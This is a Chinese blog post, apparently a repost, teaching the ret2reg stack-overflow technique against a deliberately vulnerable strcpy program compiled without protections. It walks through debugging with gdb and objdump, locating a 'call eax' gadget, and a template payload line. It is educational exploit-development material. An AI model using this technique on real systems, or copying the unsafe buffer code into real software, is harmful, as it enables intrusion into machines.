ReStr0
Venom战队队员 Chamd5安全团队
ReStr0-Blog

中级ROP之ret2reg

(6条消息) 中级ROP之ret2reg_至臻求学,胸怀云月-CSDN博客_ret2reg

原理

  1. 查看栈溢出返回时哪个寄存器指向缓冲区空间。
  2. 查找对应的call 寄存器或者jmp 寄存器指令,将EIP设置为该指令地址。
  3. 将寄存器所指向的空间上注入shellcode(确保该空间是可以执行的,通常是栈上的)

利用思路

  • 分析和调试汇编,查看溢出函数返回时哪个寄存器指向缓冲区地址
  • 向寄存器指向的缓冲区中注入shellcode
  • 查找call 该寄存器或者jmp 该寄存器指令,并将该指令地址覆盖ret

防御方法

在函数ret之前,将所有赋过值的寄存器全部复位,清0,以避免此类漏洞

Example

此类漏洞常见于strcpy字符串拷贝函数中。

程序例子源码

#include <stdio.h>
#include <string.h>
void evilfunction(char *input) {
        char buffer[512];
        strcpy(buffer, input);
}
int main(int argc, char **argv) {
        evilfunction(argv[1]);
        return 0;
}

开启ASLR

echo 2 > /proc/sys/kernel/randomize_va_space

编译

gcc -Wall -g -o ret2reg ret2reg.c -z execstack -m32 -fno-stack-protector

checksec + IDA分析


[*] '/mnt/hgfs/ubuntu_share/pwn/interrop/ret2reg'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX disabled
PIE: No PIE (0x8048000)
RWX: Has RWX segments


int __cdecl main(int argc, const char **argv, const char **envp)
{
evilfunction((char *)argv[1]);
return 0;
}
void __cdecl evilfunction(char *input)
{
char buffer[512]; // [esp+0h] [ebp-208h]
}


可以看出,程序将argv[1]对应的字符串拷贝进了buffer中,argv[1]就是程序接收的命令行参数。

et2reg 123123


123123就是我们输入的第一个命令行参数,其中 $argv[0] 就是脚本文件名,argc[1]为输入的第一个参数
返回evilfunction函数的汇编指令

.text:0804840B push ebp
.text:0804840C mov ebp, esp
.text:0804840E sub esp, 208h
.text:08048414 sub esp, 8
.text:08048417 push [ebp+input] ; src
.text:0804841A lea eax, [ebp+buffer]
.text:08048420 push eax ; dest
.text:08048421 call _strcpy
.text:08048426 add esp, 10h
.text:08048429 nop
.text:0804842A leave
.text:0804842B retn
  • 可以看到,lea eax,[ebp+buffer],该指令就是将[ebp + buffer]的偏移地址送给eax,也就相当于eax指向了buffer缓冲区的位置
  • 这时我们就可以向buffer中写入shellcode,并且找到call eax指令地址来覆盖ret,从而拿到shell
  • 这时我们需要查看evilfunction函数返回时,eax是不是还指向缓冲区地址
  • 使用gdb进行调试带参数的程序

https://blog.restro.cn/wp-content/uploads/2021/08/aHR0cHM6Ly94aWFvbWluZy0xMjUzMzg1ODEwLmNvcy5hcC1zaGFuZ2hhaS5teXFjbG91ZC5jb20vMjAyMDAyMjMxOTE0MjcucG5n.png
gdb --args ret2reg 123123
b *0x0804842B
r
https://blog.restro.cn/wp-content/uploads/2021/08/aHR0cHM6Ly94aWFvbWluZy0xMjUzMzg1ODEwLmNvcy5hcC1zaGFuZ2hhaS5teXFjbG91ZC5jb20vMjAyMDAyMjMxOTE1NTIucG5n.png

可见eax的值仍为缓冲区的地址
接下来查找call eax或者jmp eax指令

root@ubuntu:/mnt/hgfs/ubuntu_share/pwn/interrop# objdump -d ret2reg | grep *%eax
8048373: ff d0 call *%eax


payload就可以构造出来了

payload = shellcode + (0x208 + 4 - len(shellcode)) * a + p32(0x8048373)<br>

发表评论

textsms
account_circle
email

ReStr0-Blog

中级ROP之ret2reg
(6条消息) 中级ROP之ret2reg_至臻求学,胸怀云月-CSDN博客_ret2reg 原理 查看栈溢出返回时哪个寄存器指向缓冲区空间。查找对应的call 寄存器或者jmp 寄存器指令,将EIP设置为该指令…
扫描二维码继续阅读
2021-08-13